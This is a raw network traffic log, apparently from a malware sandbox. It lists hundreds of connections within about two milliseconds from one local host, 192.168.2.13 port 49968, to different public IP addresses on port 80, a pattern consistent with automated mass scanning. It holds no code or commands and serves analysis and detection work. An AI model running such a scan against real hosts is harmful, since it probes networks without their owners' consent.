Mar 21, 2024 05:21:47.384612083 CET	49968	80	192.168.2.13	83.242.99.169
Mar 21, 2024 05:21:47.384618044 CET	49968	80	192.168.2.13	200.185.57.110
Mar 21, 2024 05:21:47.384622097 CET	49968	80	192.168.2.13	82.125.71.46
Mar 21, 2024 05:21:47.384633064 CET	49968	80	192.168.2.13	200.157.120.48
Mar 21, 2024 05:21:47.384648085 CET	49968	80	192.168.2.13	82.37.131.25
Mar 21, 2024 05:21:47.384653091 CET	49968	80	192.168.2.13	86.112.145.170
Mar 21, 2024 05:21:47.384677887 CET	49968	80	192.168.2.13	213.175.22.223
Mar 21, 2024 05:21:47.384682894 CET	49968	80	192.168.2.13	181.104.39.43
Mar 21, 2024 05:21:47.384696007 CET	49968	80	192.168.2.13	86.26.25.203
Mar 21, 2024 05:21:47.384706020 CET	49968	80	192.168.2.13	200.139.136.227
Mar 21, 2024 05:21:47.384712934 CET	49968	80	192.168.2.13	86.255.142.148
Mar 21, 2024 05:21:47.384713888 CET	49968	80	192.168.2.13	213.191.152.18
Mar 21, 2024 05:21:47.384713888 CET	49968	80	192.168.2.13	169.120.92.130
Mar 21, 2024 05:21:47.384727955 CET	49968	80	192.168.2.13	206.144.217.236
Mar 21, 2024 05:21:47.384736061 CET	49968	80	192.168.2.13	206.250.124.100
Mar 21, 2024 05:21:47.384744883 CET	49968	80	192.168.2.13	169.156.65.90
Mar 21, 2024 05:21:47.384744883 CET	49968	80	192.168.2.13	82.120.19.60
Mar 21, 2024 05:21:47.384753942 CET	49968	80	192.168.2.13	80.77.114.193
Mar 21, 2024 05:21:47.384762049 CET	49968	80	192.168.2.13	80.53.15.254
Mar 21, 2024 05:21:47.384778023 CET	49968	80	192.168.2.13	169.228.209.241
Mar 21, 2024 05:21:47.384778976 CET	49968	80	192.168.2.13	178.211.236.35
Mar 21, 2024 05:21:47.384782076 CET	49968	80	192.168.2.13	80.171.68.105
Mar 21, 2024 05:21:47.384788036 CET	49968	80	192.168.2.13	178.109.133.123
Mar 21, 2024 05:21:47.384808064 CET	49968	80	192.168.2.13	213.112.67.225
Mar 21, 2024 05:21:47.384809017 CET	49968	80	192.168.2.13	178.123.169.57
Mar 21, 2024 05:21:47.384810925 CET	49968	80	192.168.2.13	169.152.208.48
Mar 21, 2024 05:21:47.384814978 CET	49968	80	192.168.2.13	80.166.218.212
Mar 21, 2024 05:21:47.384835005 CET	49968	80	192.168.2.13	206.89.36.112
Mar 21, 2024 05:21:47.384835005 CET	49968	80	192.168.2.13	200.211.51.228
Mar 21, 2024 05:21:47.384838104 CET	49968	80	192.168.2.13	206.142.187.215
Mar 21, 2024 05:21:47.384838104 CET	49968	80	192.168.2.13	206.32.210.38
Mar 21, 2024 05:21:47.384840012 CET	49968	80	192.168.2.13	178.67.90.84
Mar 21, 2024 05:21:47.384855986 CET	49968	80	192.168.2.13	178.33.93.232
Mar 21, 2024 05:21:47.384855986 CET	49968	80	192.168.2.13	82.112.85.18
Mar 21, 2024 05:21:47.384871006 CET	49968	80	192.168.2.13	169.18.38.145
Mar 21, 2024 05:21:47.384871006 CET	49968	80	192.168.2.13	83.6.203.41
Mar 21, 2024 05:21:47.384871006 CET	49968	80	192.168.2.13	200.185.68.93
Mar 21, 2024 05:21:47.384874105 CET	49968	80	192.168.2.13	200.89.198.73
Mar 21, 2024 05:21:47.384897947 CET	49968	80	192.168.2.13	169.186.157.25
Mar 21, 2024 05:21:47.384897947 CET	49968	80	192.168.2.13	169.160.70.198
Mar 21, 2024 05:21:47.384906054 CET	49968	80	192.168.2.13	213.96.58.5
Mar 21, 2024 05:21:47.384910107 CET	49968	80	192.168.2.13	213.247.7.35
Mar 21, 2024 05:21:47.384913921 CET	49968	80	192.168.2.13	200.86.66.30
Mar 21, 2024 05:21:47.384913921 CET	49968	80	192.168.2.13	86.52.76.22
Mar 21, 2024 05:21:47.384919882 CET	49968	80	192.168.2.13	200.118.61.100
Mar 21, 2024 05:21:47.384934902 CET	49968	80	192.168.2.13	83.25.251.32
Mar 21, 2024 05:21:47.384934902 CET	49968	80	192.168.2.13	200.237.134.213
Mar 21, 2024 05:21:47.384941101 CET	49968	80	192.168.2.13	181.126.118.221
Mar 21, 2024 05:21:47.384941101 CET	49968	80	192.168.2.13	206.144.111.149
Mar 21, 2024 05:21:47.384955883 CET	49968	80	192.168.2.13	82.103.135.207
Mar 21, 2024 05:21:47.384960890 CET	49968	80	192.168.2.13	86.35.93.228
Mar 21, 2024 05:21:47.384978056 CET	49968	80	192.168.2.13	82.144.187.41
Mar 21, 2024 05:21:47.384978056 CET	49968	80	192.168.2.13	86.221.9.176
Mar 21, 2024 05:21:47.384982109 CET	49968	80	192.168.2.13	181.252.33.111
Mar 21, 2024 05:21:47.384982109 CET	49968	80	192.168.2.13	206.190.119.73
Mar 21, 2024 05:21:47.384985924 CET	49968	80	192.168.2.13	206.153.195.198
Mar 21, 2024 05:21:47.385016918 CET	49968	80	192.168.2.13	200.84.147.229
Mar 21, 2024 05:21:47.385019064 CET	49968	80	192.168.2.13	169.71.7.230
Mar 21, 2024 05:21:47.385029078 CET	49968	80	192.168.2.13	86.25.137.13
Mar 21, 2024 05:21:47.385030985 CET	49968	80	192.168.2.13	181.105.144.236
Mar 21, 2024 05:21:47.385030985 CET	49968	80	192.168.2.13	200.134.59.41
Mar 21, 2024 05:21:47.385047913 CET	49968	80	192.168.2.13	80.188.209.252
Mar 21, 2024 05:21:47.385050058 CET	49968	80	192.168.2.13	178.72.83.9
Mar 21, 2024 05:21:47.385054111 CET	49968	80	192.168.2.13	86.111.174.204
Mar 21, 2024 05:21:47.385068893 CET	49968	80	192.168.2.13	80.41.193.253
Mar 21, 2024 05:21:47.385076046 CET	49968	80	192.168.2.13	83.57.36.131
Mar 21, 2024 05:21:47.385088921 CET	49968	80	192.168.2.13	206.98.229.79
Mar 21, 2024 05:21:47.385088921 CET	49968	80	192.168.2.13	206.43.193.192
Mar 21, 2024 05:21:47.385097027 CET	49968	80	192.168.2.13	80.33.234.179
Mar 21, 2024 05:21:47.385097027 CET	49968	80	192.168.2.13	169.55.250.31
Mar 21, 2024 05:21:47.385099888 CET	49968	80	192.168.2.13	181.84.54.225
Mar 21, 2024 05:21:47.385102034 CET	49968	80	192.168.2.13	206.63.57.169
Mar 21, 2024 05:21:47.385102034 CET	49968	80	192.168.2.13	213.214.230.210
Mar 21, 2024 05:21:47.385103941 CET	49968	80	192.168.2.13	80.241.156.156
Mar 21, 2024 05:21:47.385103941 CET	49968	80	192.168.2.13	83.14.118.190
Mar 21, 2024 05:21:47.385106087 CET	49968	80	192.168.2.13	82.36.249.248
Mar 21, 2024 05:21:47.385117054 CET	49968	80	192.168.2.13	213.244.181.159
Mar 21, 2024 05:21:47.385118961 CET	49968	80	192.168.2.13	169.188.137.169
Mar 21, 2024 05:21:47.385121107 CET	49968	80	192.168.2.13	181.94.30.182
Mar 21, 2024 05:21:47.385128975 CET	49968	80	192.168.2.13	82.213.26.237
Mar 21, 2024 05:21:47.385132074 CET	49968	80	192.168.2.13	169.100.248.249
Mar 21, 2024 05:21:47.385142088 CET	49968	80	192.168.2.13	213.222.91.82
Mar 21, 2024 05:21:47.385144949 CET	49968	80	192.168.2.13	86.187.167.79
Mar 21, 2024 05:21:47.385159969 CET	49968	80	192.168.2.13	206.76.201.27
Mar 21, 2024 05:21:47.385163069 CET	49968	80	192.168.2.13	80.142.244.4
Mar 21, 2024 05:21:47.385164976 CET	49968	80	192.168.2.13	169.225.181.89
Mar 21, 2024 05:21:47.385178089 CET	49968	80	192.168.2.13	200.209.210.4
Mar 21, 2024 05:21:47.385190010 CET	49968	80	192.168.2.13	213.21.234.132
Mar 21, 2024 05:21:47.385200977 CET	49968	80	192.168.2.13	86.188.65.44
Mar 21, 2024 05:21:47.385210991 CET	49968	80	192.168.2.13	169.140.122.25
Mar 21, 2024 05:21:47.385231018 CET	49968	80	192.168.2.13	83.159.63.108
Mar 21, 2024 05:21:47.385232925 CET	49968	80	192.168.2.13	86.64.213.184
Mar 21, 2024 05:21:47.385237932 CET	49968	80	192.168.2.13	86.191.40.127
Mar 21, 2024 05:21:47.385242939 CET	49968	80	192.168.2.13	86.246.160.73
Mar 21, 2024 05:21:47.385257006 CET	49968	80	192.168.2.13	86.83.173.254
Mar 21, 2024 05:21:47.385261059 CET	49968	80	192.168.2.13	83.215.89.222
Mar 21, 2024 05:21:47.385261059 CET	49968	80	192.168.2.13	206.130.68.234
Mar 21, 2024 05:21:47.385266066 CET	49968	80	192.168.2.13	169.155.200.113
Mar 21, 2024 05:21:47.385266066 CET	49968	80	192.168.2.13	82.26.45.139
Mar 21, 2024 05:21:47.385272026 CET	49968	80	192.168.2.13	82.92.245.167
Mar 21, 2024 05:21:47.385282040 CET	49968	80	192.168.2.13	178.234.107.156
Mar 21, 2024 05:21:47.385282993 CET	49968	80	192.168.2.13	169.104.7.9
Mar 21, 2024 05:21:47.385298967 CET	49968	80	192.168.2.13	206.105.165.114
Mar 21, 2024 05:21:47.385303020 CET	49968	80	192.168.2.13	169.106.97.223
Mar 21, 2024 05:21:47.385309935 CET	49968	80	192.168.2.13	213.11.224.227
Mar 21, 2024 05:21:47.385310888 CET	49968	80	192.168.2.13	206.87.109.80
Mar 21, 2024 05:21:47.385313988 CET	49968	80	192.168.2.13	200.9.191.179
Mar 21, 2024 05:21:47.385314941 CET	49968	80	192.168.2.13	80.32.1.70
Mar 21, 2024 05:21:47.385317087 CET	49968	80	192.168.2.13	86.191.92.107
Mar 21, 2024 05:21:47.385329962 CET	49968	80	192.168.2.13	213.213.127.34
Mar 21, 2024 05:21:47.385345936 CET	49968	80	192.168.2.13	206.51.67.164
Mar 21, 2024 05:21:47.385348082 CET	49968	80	192.168.2.13	213.155.140.196
Mar 21, 2024 05:21:47.385350943 CET	49968	80	192.168.2.13	206.87.193.222
Mar 21, 2024 05:21:47.385350943 CET	49968	80	192.168.2.13	83.20.221.135
Mar 21, 2024 05:21:47.385358095 CET	49968	80	192.168.2.13	178.82.211.26
Mar 21, 2024 05:21:47.385381937 CET	49968	80	192.168.2.13	200.144.9.80
Mar 21, 2024 05:21:47.385401964 CET	49968	80	192.168.2.13	83.161.229.106
Mar 21, 2024 05:21:47.385405064 CET	49968	80	192.168.2.13	86.105.163.122
Mar 21, 2024 05:21:47.385410070 CET	49968	80	192.168.2.13	169.80.101.204
Mar 21, 2024 05:21:47.385410070 CET	49968	80	192.168.2.13	206.94.20.172
Mar 21, 2024 05:21:47.385413885 CET	49968	80	192.168.2.13	169.178.184.195
Mar 21, 2024 05:21:47.385438919 CET	49968	80	192.168.2.13	213.39.57.202
Mar 21, 2024 05:21:47.385438919 CET	49968	80	192.168.2.13	178.96.132.196
Mar 21, 2024 05:21:47.385440111 CET	49968	80	192.168.2.13	83.226.237.135
Mar 21, 2024 05:21:47.385452032 CET	49968	80	192.168.2.13	80.25.160.107
Mar 21, 2024 05:21:47.385452032 CET	49968	80	192.168.2.13	181.244.118.90
Mar 21, 2024 05:21:47.385454893 CET	49968	80	192.168.2.13	213.58.130.135
Mar 21, 2024 05:21:47.385463953 CET	49968	80	192.168.2.13	178.1.218.200
Mar 21, 2024 05:21:47.385476112 CET	49968	80	192.168.2.13	80.127.205.153
Mar 21, 2024 05:21:47.385484934 CET	49968	80	192.168.2.13	213.4.12.212
Mar 21, 2024 05:21:47.385493994 CET	49968	80	192.168.2.13	213.85.181.159
Mar 21, 2024 05:21:47.385493994 CET	49968	80	192.168.2.13	86.249.137.93
Mar 21, 2024 05:21:47.385497093 CET	49968	80	192.168.2.13	206.171.12.157
Mar 21, 2024 05:21:47.385502100 CET	49968	80	192.168.2.13	80.172.25.16
Mar 21, 2024 05:21:47.385503054 CET	49968	80	192.168.2.13	86.246.127.33
Mar 21, 2024 05:21:47.385509014 CET	49968	80	192.168.2.13	82.124.80.0
Mar 21, 2024 05:21:47.385513067 CET	49968	80	192.168.2.13	200.236.197.121
Mar 21, 2024 05:21:47.385519028 CET	49968	80	192.168.2.13	86.35.38.114
Mar 21, 2024 05:21:47.385524035 CET	49968	80	192.168.2.13	82.158.208.50
Mar 21, 2024 05:21:47.385524035 CET	49968	80	192.168.2.13	200.127.77.199
Mar 21, 2024 05:21:47.385524035 CET	49968	80	192.168.2.13	213.172.151.168
Mar 21, 2024 05:21:47.385524035 CET	49968	80	192.168.2.13	206.80.45.116
Mar 21, 2024 05:21:47.385524988 CET	49968	80	192.168.2.13	86.188.103.93
Mar 21, 2024 05:21:47.385524035 CET	49968	80	192.168.2.13	82.34.125.200
Mar 21, 2024 05:21:47.385551929 CET	49968	80	192.168.2.13	82.14.247.193
Mar 21, 2024 05:21:47.385557890 CET	49968	80	192.168.2.13	200.100.59.7
Mar 21, 2024 05:21:47.385557890 CET	49968	80	192.168.2.13	82.51.121.73
Mar 21, 2024 05:21:47.385557890 CET	49968	80	192.168.2.13	178.182.160.200
Mar 21, 2024 05:21:47.385559082 CET	49968	80	192.168.2.13	82.97.165.102
Mar 21, 2024 05:21:47.385565996 CET	49968	80	192.168.2.13	82.47.56.71
Mar 21, 2024 05:21:47.385577917 CET	49968	80	192.168.2.13	178.24.119.135
Mar 21, 2024 05:21:47.385580063 CET	49968	80	192.168.2.13	178.187.245.226
Mar 21, 2024 05:21:47.385590076 CET	49968	80	192.168.2.13	178.133.119.234
Mar 21, 2024 05:21:47.385591030 CET	49968	80	192.168.2.13	82.71.153.114
Mar 21, 2024 05:21:47.385603905 CET	49968	80	192.168.2.13	169.78.171.245
Mar 21, 2024 05:21:47.385612965 CET	49968	80	192.168.2.13	213.196.50.112
Mar 21, 2024 05:21:47.385621071 CET	49968	80	192.168.2.13	181.19.87.238
Mar 21, 2024 05:21:47.385626078 CET	49968	80	192.168.2.13	200.177.122.248
Mar 21, 2024 05:21:47.385632992 CET	49968	80	192.168.2.13	206.231.242.144
Mar 21, 2024 05:21:47.385636091 CET	49968	80	192.168.2.13	82.226.110.249
Mar 21, 2024 05:21:47.385646105 CET	49968	80	192.168.2.13	169.141.60.23
Mar 21, 2024 05:21:47.385658026 CET	49968	80	192.168.2.13	200.19.148.207
Mar 21, 2024 05:21:47.385658026 CET	49968	80	192.168.2.13	82.241.80.225
Mar 21, 2024 05:21:47.385670900 CET	49968	80	192.168.2.13	181.215.212.151
Mar 21, 2024 05:21:47.385670900 CET	49968	80	192.168.2.13	169.143.52.25
Mar 21, 2024 05:21:47.385673046 CET	49968	80	192.168.2.13	206.249.96.91
Mar 21, 2024 05:21:47.385678053 CET	49968	80	192.168.2.13	178.14.111.164
Mar 21, 2024 05:21:47.385694981 CET	49968	80	192.168.2.13	178.99.37.187
Mar 21, 2024 05:21:47.385699034 CET	49968	80	192.168.2.13	178.240.88.79
Mar 21, 2024 05:21:47.385709047 CET	49968	80	192.168.2.13	86.70.43.166
Mar 21, 2024 05:21:47.385710001 CET	49968	80	192.168.2.13	178.244.232.85
Mar 21, 2024 05:21:47.385715008 CET	49968	80	192.168.2.13	181.246.225.119
Mar 21, 2024 05:21:47.385729074 CET	49968	80	192.168.2.13	83.240.143.35
Mar 21, 2024 05:21:47.385731936 CET	49968	80	192.168.2.13	200.12.1.219
Mar 21, 2024 05:21:47.385734081 CET	49968	80	192.168.2.13	86.23.182.211
Mar 21, 2024 05:21:47.385739088 CET	49968	80	192.168.2.13	200.13.220.139
Mar 21, 2024 05:21:47.385756016 CET	49968	80	192.168.2.13	83.83.45.178
Mar 21, 2024 05:21:47.385760069 CET	49968	80	192.168.2.13	82.226.53.154
Mar 21, 2024 05:21:47.385766983 CET	49968	80	192.168.2.13	181.179.154.148
Mar 21, 2024 05:21:47.385782957 CET	49968	80	192.168.2.13	206.143.23.84
Mar 21, 2024 05:21:47.385804892 CET	49968	80	192.168.2.13	169.188.239.112
Mar 21, 2024 05:21:47.385806084 CET	49968	80	192.168.2.13	213.182.31.3
Mar 21, 2024 05:21:47.385821104 CET	49968	80	192.168.2.13	169.50.192.122
Mar 21, 2024 05:21:47.385822058 CET	49968	80	192.168.2.13	213.140.115.101
Mar 21, 2024 05:21:47.385823011 CET	49968	80	192.168.2.13	200.92.163.99
Mar 21, 2024 05:21:47.385843039 CET	49968	80	192.168.2.13	169.205.244.246
Mar 21, 2024 05:21:47.385843039 CET	49968	80	192.168.2.13	82.115.124.94
Mar 21, 2024 05:21:47.385843992 CET	49968	80	192.168.2.13	80.120.147.249
Mar 21, 2024 05:21:47.385843992 CET	49968	80	192.168.2.13	200.186.236.57
Mar 21, 2024 05:21:47.385857105 CET	49968	80	192.168.2.13	82.161.29.14
Mar 21, 2024 05:21:47.385857105 CET	49968	80	192.168.2.13	181.74.155.202
Mar 21, 2024 05:21:47.385883093 CET	49968	80	192.168.2.13	213.87.127.129
Mar 21, 2024 05:21:47.385888100 CET	49968	80	192.168.2.13	86.81.255.247
Mar 21, 2024 05:21:47.385893106 CET	49968	80	192.168.2.13	206.50.155.129
Mar 21, 2024 05:21:47.385902882 CET	49968	80	192.168.2.13	86.54.183.127
Mar 21, 2024 05:21:47.385905027 CET	49968	80	192.168.2.13	206.24.253.139
Mar 21, 2024 05:21:47.385905981 CET	49968	80	192.168.2.13	178.101.175.230
Mar 21, 2024 05:21:47.385912895 CET	49968	80	192.168.2.13	82.127.63.177
Mar 21, 2024 05:21:47.385924101 CET	49968	80	192.168.2.13	178.231.30.231
Mar 21, 2024 05:21:47.385926962 CET	49968	80	192.168.2.13	181.28.223.93
Mar 21, 2024 05:21:47.385934114 CET	49968	80	192.168.2.13	169.208.40.98
Mar 21, 2024 05:21:47.385942936 CET	49968	80	192.168.2.13	80.254.206.172
Mar 21, 2024 05:21:47.385951042 CET	49968	80	192.168.2.13	82.237.108.33
Mar 21, 2024 05:21:47.385957003 CET	49968	80	192.168.2.13	206.95.1.69
Mar 21, 2024 05:21:47.385965109 CET	49968	80	192.168.2.13	80.236.236.170
Mar 21, 2024 05:21:47.385977983 CET	49968	80	192.168.2.13	83.73.165.90
Mar 21, 2024 05:21:47.385998964 CET	49968	80	192.168.2.13	181.114.15.132
Mar 21, 2024 05:21:47.386004925 CET	49968	80	192.168.2.13	213.2.102.190
Mar 21, 2024 05:21:47.386020899 CET	49968	80	192.168.2.13	206.132.3.148
Mar 21, 2024 05:21:47.386020899 CET	49968	80	192.168.2.13	213.56.135.172
Mar 21, 2024 05:21:47.386022091 CET	49968	80	192.168.2.13	83.114.35.39
Mar 21, 2024 05:21:47.386022091 CET	49968	80	192.168.2.13	206.223.234.112
Mar 21, 2024 05:21:47.386025906 CET	49968	80	192.168.2.13	86.125.174.146
Mar 21, 2024 05:21:47.386025906 CET	49968	80	192.168.2.13	181.22.106.104
Mar 21, 2024 05:21:47.386039019 CET	49968	80	192.168.2.13	213.52.152.4
Mar 21, 2024 05:21:47.386040926 CET	49968	80	192.168.2.13	206.134.101.131
Mar 21, 2024 05:21:47.386043072 CET	49968	80	192.168.2.13	206.149.188.61
Mar 21, 2024 05:21:47.386043072 CET	49968	80	192.168.2.13	83.120.157.20
Mar 21, 2024 05:21:47.386054993 CET	49968	80	192.168.2.13	83.46.107.32
Mar 21, 2024 05:21:47.386060953 CET	49968	80	192.168.2.13	181.167.111.238
Mar 21, 2024 05:21:47.386060953 CET	49968	80	192.168.2.13	178.201.156.28
Mar 21, 2024 05:21:47.386074066 CET	49968	80	192.168.2.13	169.55.63.140
Mar 21, 2024 05:21:47.386081934 CET	49968	80	192.168.2.13	82.208.161.33
Mar 21, 2024 05:21:47.386085033 CET	49968	80	192.168.2.13	80.254.55.89
Mar 21, 2024 05:21:47.386101961 CET	49968	80	192.168.2.13	206.9.81.50
Mar 21, 2024 05:21:47.386102915 CET	49968	80	192.168.2.13	206.163.240.238
Mar 21, 2024 05:21:47.386112928 CET	49968	80	192.168.2.13	181.170.158.227
Mar 21, 2024 05:21:47.386131048 CET	49968	80	192.168.2.13	86.65.213.253
Mar 21, 2024 05:21:47.386131048 CET	49968	80	192.168.2.13	83.82.107.79
Mar 21, 2024 05:21:47.386133909 CET	49968	80	192.168.2.13	178.93.168.178
Mar 21, 2024 05:21:47.386137962 CET	49968	80	192.168.2.13	82.247.116.5
Mar 21, 2024 05:21:47.386136055 CET	49968	80	192.168.2.13	213.137.167.111
Mar 21, 2024 05:21:47.386136055 CET	49968	80	192.168.2.13	169.61.23.37
Mar 21, 2024 05:21:47.386137962 CET	49968	80	192.168.2.13	206.190.105.96
Mar 21, 2024 05:21:47.386157036 CET	49968	80	192.168.2.13	169.159.99.202
Mar 21, 2024 05:21:47.386157990 CET	49968	80	192.168.2.13	80.193.122.91
Mar 21, 2024 05:21:47.386161089 CET	49968	80	192.168.2.13	86.231.237.113
Mar 21, 2024 05:21:47.386164904 CET	49968	80	192.168.2.13	206.237.63.16
Mar 21, 2024 05:21:47.386178970 CET	49968	80	192.168.2.13	200.91.70.48
Mar 21, 2024 05:21:47.386189938 CET	49968	80	192.168.2.13	86.209.232.232
Mar 21, 2024 05:21:47.386198044 CET	49968	80	192.168.2.13	86.205.139.89
Mar 21, 2024 05:21:47.386198997 CET	49968	80	192.168.2.13	169.113.127.137
Mar 21, 2024 05:21:47.386213064 CET	49968	80	192.168.2.13	178.244.208.117
Mar 21, 2024 05:21:47.386215925 CET	49968	80	192.168.2.13	181.166.83.78
Mar 21, 2024 05:21:47.386217117 CET	49968	80	192.168.2.13	80.32.201.100
Mar 21, 2024 05:21:47.386219978 CET	49968	80	192.168.2.13	80.237.45.112
Mar 21, 2024 05:21:47.386234045 CET	49968	80	192.168.2.13	80.11.2.50
Mar 21, 2024 05:21:47.386236906 CET	49968	80	192.168.2.13	206.102.233.68
Mar 21, 2024 05:21:47.386236906 CET	49968	80	192.168.2.13	169.139.166.97
Mar 21, 2024 05:21:47.386250019 CET	49968	80	192.168.2.13	200.102.205.3
Mar 21, 2024 05:21:47.386265039 CET	49968	80	192.168.2.13	213.204.208.130
Mar 21, 2024 05:21:47.386271000 CET	49968	80	192.168.2.13	83.199.116.180
Mar 21, 2024 05:21:47.386271000 CET	49968	80	192.168.2.13	181.159.204.119
Mar 21, 2024 05:21:47.386271954 CET	49968	80	192.168.2.13	200.40.184.87
Mar 21, 2024 05:21:47.386272907 CET	49968	80	192.168.2.13	213.188.27.64
Mar 21, 2024 05:21:47.386276960 CET	49968	80	192.168.2.13	181.178.211.78
Mar 21, 2024 05:21:47.386276960 CET	49968	80	192.168.2.13	169.82.252.93
Mar 21, 2024 05:21:47.386276960 CET	49968	80	192.168.2.13	213.138.127.55
Mar 21, 2024 05:21:47.386276960 CET	49968	80	192.168.2.13	181.132.116.111
Mar 21, 2024 05:21:47.386288881 CET	49968	80	192.168.2.13	83.3.210.13
Mar 21, 2024 05:21:47.386288881 CET	49968	80	192.168.2.13	82.188.18.158
Mar 21, 2024 05:21:47.386288881 CET	49968	80	192.168.2.13	82.0.163.138
Mar 21, 2024 05:21:47.386293888 CET	49968	80	192.168.2.13	86.229.135.8
Mar 21, 2024 05:21:47.386297941 CET	49968	80	192.168.2.13	200.45.11.224
Mar 21, 2024 05:21:47.386302948 CET	49968	80	192.168.2.13	169.133.226.240
Mar 21, 2024 05:21:47.386311054 CET	49968	80	192.168.2.13	200.234.54.248
Mar 21, 2024 05:21:47.386311054 CET	49968	80	192.168.2.13	200.19.150.151
Mar 21, 2024 05:21:47.386317015 CET	49968	80	192.168.2.13	200.122.81.239
Mar 21, 2024 05:21:47.386331081 CET	49968	80	192.168.2.13	206.7.58.191
Mar 21, 2024 05:21:47.386332035 CET	49968	80	192.168.2.13	200.15.235.144
Mar 21, 2024 05:21:47.386337042 CET	49968	80	192.168.2.13	213.31.47.14
Mar 21, 2024 05:21:47.386337042 CET	49968	80	192.168.2.13	86.175.29.236
Mar 21, 2024 05:21:47.386343956 CET	49968	80	192.168.2.13	82.83.187.147
Mar 21, 2024 05:21:47.386343956 CET	49968	80	192.168.2.13	169.179.175.128
Mar 21, 2024 05:21:47.386359930 CET	49968	80	192.168.2.13	169.25.253.47
Mar 21, 2024 05:21:47.386368990 CET	49968	80	192.168.2.13	80.146.144.143
Mar 21, 2024 05:21:47.386370897 CET	49968	80	192.168.2.13	181.78.80.42
Mar 21, 2024 05:21:47.386370897 CET	49968	80	192.168.2.13	169.158.53.254
Mar 21, 2024 05:21:47.386372089 CET	49968	80	192.168.2.13	178.132.21.66
Mar 21, 2024 05:21:47.386380911 CET	49968	80	192.168.2.13	181.44.177.161
Mar 21, 2024 05:21:47.386384964 CET	49968	80	192.168.2.13	181.217.240.209
Mar 21, 2024 05:21:47.386398077 CET	49968	80	192.168.2.13	86.76.126.14
Mar 21, 2024 05:21:47.386399984 CET	49968	80	192.168.2.13	200.156.165.55
Mar 21, 2024 05:21:47.386419058 CET	49968	80	192.168.2.13	86.30.223.212
Mar 21, 2024 05:21:47.386420012 CET	49968	80	192.168.2.13	83.110.221.204
Mar 21, 2024 05:21:47.386425972 CET	49968	80	192.168.2.13	169.213.46.42
Mar 21, 2024 05:21:47.386436939 CET	49968	80	192.168.2.13	86.125.132.212
Mar 21, 2024 05:21:47.386442900 CET	49968	80	192.168.2.13	80.171.112.55
Mar 21, 2024 05:21:47.386445999 CET	49968	80	192.168.2.13	213.167.244.199
Mar 21, 2024 05:21:47.386445999 CET	49968	80	192.168.2.13	206.38.239.253
Mar 21, 2024 05:21:47.386452913 CET	49968	80	192.168.2.13	206.25.130.119
Mar 21, 2024 05:21:47.386460066 CET	49968	80	192.168.2.13	169.55.233.236
Mar 21, 2024 05:21:47.386467934 CET	49968	80	192.168.2.13	83.71.145.15
Mar 21, 2024 05:21:47.386472940 CET	49968	80	192.168.2.13	206.92.115.108
Mar 21, 2024 05:21:47.386473894 CET	49968	80	192.168.2.13	80.132.72.98
Mar 21, 2024 05:21:47.386476994 CET	49968	80	192.168.2.13	213.48.153.95
Mar 21, 2024 05:21:47.386495113 CET	49968	80	192.168.2.13	169.132.137.251
Mar 21, 2024 05:21:47.386498928 CET	49968	80	192.168.2.13	178.4.87.54
Mar 21, 2024 05:21:47.386508942 CET	49968	80	192.168.2.13	181.161.140.89
Mar 21, 2024 05:21:47.386511087 CET	49968	80	192.168.2.13	82.19.73.78
Mar 21, 2024 05:21:47.386513948 CET	49968	80	192.168.2.13	82.213.143.88
Mar 21, 2024 05:21:47.386524916 CET	49968	80	192.168.2.13	169.248.0.102
Mar 21, 2024 05:21:47.386527061 CET	49968	80	192.168.2.13	200.32.145.208
Mar 21, 2024 05:21:47.386538982 CET	49968	80	192.168.2.13	200.249.174.20
Mar 21, 2024 05:21:47.386542082 CET	49968	80	192.168.2.13	181.167.8.63
Mar 21, 2024 05:21:47.386548996 CET	49968	80	192.168.2.13	213.98.232.107
Mar 21, 2024 05:21:47.386548996 CET	49968	80	192.168.2.13	200.46.78.5
Mar 21, 2024 05:21:47.386557102 CET	49968	80	192.168.2.13	169.149.175.98
Mar 21, 2024 05:21:47.386563063 CET	49968	80	192.168.2.13	206.155.28.77
Mar 21, 2024 05:21:47.386585951 CET	49968	80	192.168.2.13	181.240.175.163
Mar 21, 2024 05:21:47.386596918 CET	49968	80	192.168.2.13	83.22.98.111
Mar 21, 2024 05:21:47.386596918 CET	49968	80	192.168.2.13	206.33.85.29
Mar 21, 2024 05:21:47.386601925 CET	49968	80	192.168.2.13	181.158.250.83
Mar 21, 2024 05:21:47.386619091 CET	49968	80	192.168.2.13	82.176.53.11
Mar 21, 2024 05:21:47.386619091 CET	49968	80	192.168.2.13	83.60.197.4
Mar 21, 2024 05:21:47.386650085 CET	49968	80	192.168.2.13	178.19.141.211
Mar 21, 2024 05:21:47.386650085 CET	49968	80	192.168.2.13	178.82.86.140
Mar 21, 2024 05:21:47.386655092 CET	49968	80	192.168.2.13	178.173.111.82
Mar 21, 2024 05:21:47.386665106 CET	49968	80	192.168.2.13	181.87.219.182
Mar 21, 2024 05:21:47.386665106 CET	49968	80	192.168.2.13	206.115.16.145
Mar 21, 2024 05:21:47.386668921 CET	49968	80	192.168.2.13	178.194.254.118
Mar 21, 2024 05:21:47.386676073 CET	49968	80	192.168.2.13	82.105.199.39
Mar 21, 2024 05:21:47.386698008 CET	49968	80	192.168.2.13	181.10.112.147
Mar 21, 2024 05:21:47.386702061 CET	49968	80	192.168.2.13	82.178.171.31
Mar 21, 2024 05:21:47.386703968 CET	49968	80	192.168.2.13	213.62.143.176
Mar 21, 2024 05:21:47.386717081 CET	49968	80	192.168.2.13	206.99.174.193
Mar 21, 2024 05:21:47.386725903 CET	49968	80	192.168.2.13	80.101.212.70
Mar 21, 2024 05:21:47.386725903 CET	49968	80	192.168.2.13	169.63.215.72
Mar 21, 2024 05:21:47.386735916 CET	49968	80	192.168.2.13	82.173.159.81
Mar 21, 2024 05:21:47.386743069 CET	49968	80	192.168.2.13	206.165.73.120
Mar 21, 2024 05:21:47.386743069 CET	49968	80	192.168.2.13	82.74.174.207
Mar 21, 2024 05:21:47.386743069 CET	49968	80	192.168.2.13	83.183.141.242
Mar 21, 2024 05:21:47.386754036 CET	49968	80	192.168.2.13	181.212.110.253
Mar 21, 2024 05:21:47.386756897 CET	49968	80	192.168.2.13	213.62.78.136
Mar 21, 2024 05:21:47.386758089 CET	49968	80	192.168.2.13	82.190.74.108
Mar 21, 2024 05:21:47.386759043 CET	49968	80	192.168.2.13	178.196.43.77
Mar 21, 2024 05:21:47.386759043 CET	49968	80	192.168.2.13	181.166.107.71
Mar 21, 2024 05:21:47.386766911 CET	49968	80	192.168.2.13	80.61.179.190
Mar 21, 2024 05:21:47.386766911 CET	49968	80	192.168.2.13	178.109.239.105
Mar 21, 2024 05:21:47.386776924 CET	49968	80	192.168.2.13	82.204.241.154
